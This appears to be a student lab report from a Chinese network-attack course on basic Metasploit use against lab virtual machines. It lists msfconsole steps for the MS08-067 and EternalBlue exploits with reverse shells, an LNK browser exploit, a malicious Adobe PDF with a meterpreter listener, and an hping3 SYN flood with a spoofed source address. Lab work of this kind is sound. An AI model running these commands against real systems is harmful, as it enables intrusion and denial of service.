• 2019-2020-2 网络对抗技术 20175306王佳烁 Exp6 MSF基础应用


    2019-2020-2 网络对抗技术 20175306王佳烁 Exp6 MSF基础应用


    一、原理与实践说明

    实践原理

    1、MSF主要模块:指Metasploit框架中所使用的一段软件代码组件

    • 查看六种模块源码目录/usr/share/metasploit-framework/modules
    • 渗透攻击模块(Exploit Modules)
      • 攻击漏洞,把shellcode"背"过去
      • 针对每一个漏洞,写一段攻击代码
    • 辅助模块(Auxiliary Modules)
      • 在进行渗透攻击之前得到目标系统丰富的情报信息,它是攻击的前提
    • 攻击载荷(Payload Modules)
      • 载荷,一段指令(shellcode),目标系统在被渗透攻击之后去执行的代码
    • 空字段模块(Payload Modules)
    • 编码模块(Payload Modules)
    • 后渗透攻击模块(Payload Modules)
      2、用户操作界面
    • msfconsole
      • 开发部署成本低、兼容性高、方便自动化
      • 指令需要记
    • armitage
      • 点选模块 不用记忆
      • 使用不灵活
    • webgui
      • 跨平台 高效 功能强大
        3、MSF常用漏洞指令
    • search name:用指定关键字搜索可以利用的漏洞模块
    • use exploit name:使用漏洞
    • show options:显示配置选项
    • set option name option:设置选项
    • show payloads:回链攻击载荷
    • show targets: 显示目标(os版本)
    • set TARGET target number:设置目标版本
    • exploit:开始漏洞攻击
    • sessions -l:列出会话
    • sessions -i id:选择会话
    • sessions -k id:结束会话
    • Ctrl+z:把会话放到后台
    • Ctrl+c:结束会话
    • show auxiliary:显示辅助模块
    • use auxiliary name:使用辅助模块
    • set option name option:设置选项
    • exploit:运行模块

    二、实验内容

    任务一:主动攻击实践

    如ms08_067

    ms08_067_netapi是一款Metasploit中有点老的溢出攻击载荷,攻击可以获得一个相对高的权限。
    
    • 实现:ms08_067
    • 攻击机:Kali 192.168.1.34
    • 靶机:Windows xp sp3 192.168.1.35
    • payload : generic/shell_reverse_tcp
    • 测试靶机与攻击机之间能否ping通

    • 攻击者试探靶机是否存在此漏洞nmap -sS -A --script=smb-vuln-ms08-067 -PO 192.168.1.35

      • 查看到靶机的版本号

      • 查看到靶机存在此漏洞

    • msfconsole打开控制台

    • search ms08-067查看漏洞位置

    • use exploit/windows/smb/ms08_067_netapi选择该漏洞

    • set payload generic/shell_reverse_tcp设置攻击的载荷

    • set RHOST 192.168.1.35设置靶机IP

    • set LHOST 192.168.1.34设置攻击机IP

    • exploit进行攻击

    • 验证连接结果,例如ipconfig /all命令

    ms17-010

    • 实现:ms17-010

    • 攻击机:kali 192.168.1.34

    • 靶机:Windows xp sp3 192.168.1.35

    • payload:generic/shell_reverse_tcp

    • 攻击机使用nmap -sS -A --script=smb-vuln-ms17-010 -PO 192.168.1.35探测靶机是否存在该漏洞

    • msfconsole打开控制台

    • search ms17-010 查看漏洞的渗透模块

    • use exploit/windows/smb/ms17_010_eternalblue 进入该模块

    • show payloads显示有效的攻击载荷

    • set payload generic/shell_reverse_tcp设置攻击的载荷

    • set RHOST 192.168.1.35设置靶机IP

    • set LHOST 192.168.1.34设置攻击机IP

    • exploit 进行攻击

    • 这里可以看到靶机重启了!

    任务二:一个针对浏览器的攻击

    • 实现:ms10-018

    • 攻击机:kali 192.168.1.34

    • 靶机:Windows xp sp3 192.168.1.35

    • payload:windows/meterpreter/reverse_tcp

    • 首先查看浏览器漏洞: cd /usr/share/metasploit-framework/modules/exploits/windows/browser

    • 输入ls即可看到很多漏洞代码,选择 ms10_046_shortcut_icon_dllloader.rb

    • 进入控制台:msfconsole ,使用: use windows/browser/ms10_046_shortcut_icon_dllloader

    • 查看一下这个漏洞的作用: info

    • 此模块利用处理Windows快捷方式文件(.LNK)时的漏洞,其中包含指向恶意DLL。此模块创建可以使用的WebDAV服务,当以UNC路径访问时,可以运行任意负载。

            show payloads      //显示可用攻击载荷
    	set payload windows/meterpreter/reverse_tcp   //选择攻击载荷
    	set LHOST 192.168.1.35     //设置监听地址
    	exploit     //进行攻击
    
    • 在靶机用浏览器打开生成的链接:http://192.168.1.34:80/

    任务三:一个针对客户端的攻击

    • 实现:Adobe

    • 攻击机:kali 192.168.1.34

    • 靶机:Windows 7 sp3 192.168.1.29

    • msfconsole进入控制台,使用:search adobe查找Adobe漏洞

    • 使用:use windows/fileformat/adobe_cooltype_sing使用漏洞

    • payload:windows/meterpreter/reverse_tcp

    • 设置相关参数

            set LHOST 192.168.1.34  //攻击者地址
    	set FILENAME 5306wjs.pdf   //设置生成pdf文件的文件名
    	exploit   //攻击
    

    • 将生成的文件复制之后导入靶机中:cp /root/.msf4/local/20175306wjs.pdf 5306wjs.pdf

    • 回到原控制台
      back退出当前模块
      use exploit/multi/handler 进入监听模块
      set payload windows/meterpreter/reverse_tcp
      set LHOST 192.168.1.34 设置kali IP
      set LPORT 5306 设置攻击端口
      exploit 开始监听

    • 在靶机中使用双击打开5306wjs.pdf,攻击成功

    任务四:成功应用任何一个辅助模块

    • 攻击机:kali 192.168.1.34

    • 靶机:Windows xp sp3 192.168.1.35

    • 使用:msfconsole进入控制台

    • show auxiliary命令显示所有的辅助模块以及他们的用途

    • 一眼相中TCP SYN FLOODER
      SYN Flood攻击原理

    • SYN:同步序列编号(Synchronize Sequence Numbers),是TCP/IP建立连接时使用的握手信号。

    • SYN Flood利用TCP协议缺陷,通过一定的操作破坏TCP三次握手建立正常连接,占用并耗费系统资源,使得被攻击方资源耗尽,无法及时回应或处理正常的服务请求。

    • 攻击原理:通常,客户端在短时间内伪造大量不存在的IP地址,向服务器不断地发送syn包,服务器回复确认包,在进行第三次握手时,服务器等待客户的确认,由于源地址是不存在的,服务器需要不断的重发直至超时,才将此条目从未连接队列删除。这些伪造的SYN包将长时间占用未连接队列,正常的SYN请求不能进去以及被丢弃,目标系统运行缓慢,引起网络拥堵。

    • Winxp下按Ctrl+Alt+Ins启动任务管理器,查看性能,监控CPU的利用率,开启Wireshark抓包

    • Kali中输入hping3 -q -n -a 5.3.0.6 -S -s 5306 --keep -p 445 --flood 192.168.1.24
      其中5.3.0.6为伪造源IP,5306为伪造源端口,445为目的端口,192.168.1.24为目的IP

    • 查看Winxp的任务管理器和wireshark抓包结果
      如图,Winxp的性能利用率已经达到100%并居高不下。Wireshark抓到的包显示大量源地址为5.3.0.6,在给靶机win7发送请求连接,进行SYN Flood攻击。综上表明已经攻击成功。

    • Kali中按Ctrl+C结束攻击
    • 查看Winxp的任务管理器,性能利用率恢复正常。

    三、基础问题回答

    • 用自己的话解释什么是exploit,payload,encode.
      • exploit:测试者利用系统、程序或服务的漏洞进行攻击的一个过程。
      • payload:攻击者在目标系统上执行的一段攻击代码,该代码具有反弹连接、创建用户、执行其他系统命令的功能。
      • encode:一是为了避免使攻击载荷不能完整运行的“坏字符”,二是为了改变特征码,帮助攻击载荷避免被杀软发现。

    四、实验感想

    本次实验总体来说操作比较简单,难点是靶机的选择,一开始选择用本来就有的xp虚拟机,发现不太行。。。没办法又下载了一个靶机虚拟机。安装完成后还是比较顺利的就完成了。通过完成实验就可以发现metasploit攻击漏洞的专一性,对靶机的要求比较高,否则不会轻易成功。

  • 相关阅读:
    iOS 添加微信分享
    IOS学习笔记——ViewController生命周期详解
    UI之CALayer详解(转)
    iOS CALayer讲解
    [leetcode] Minimum Path Sum
    [leetcode]Binary Tree Maximum Path Sum
    我是真的想去google啊
    C++ string 用法详解
    继续存博客
    bash中 2>&1 & 的解释
  • 原文地址:https://www.cnblogs.com/wjs123456/p/12792083.html
Copyright © 2020-2023  润新知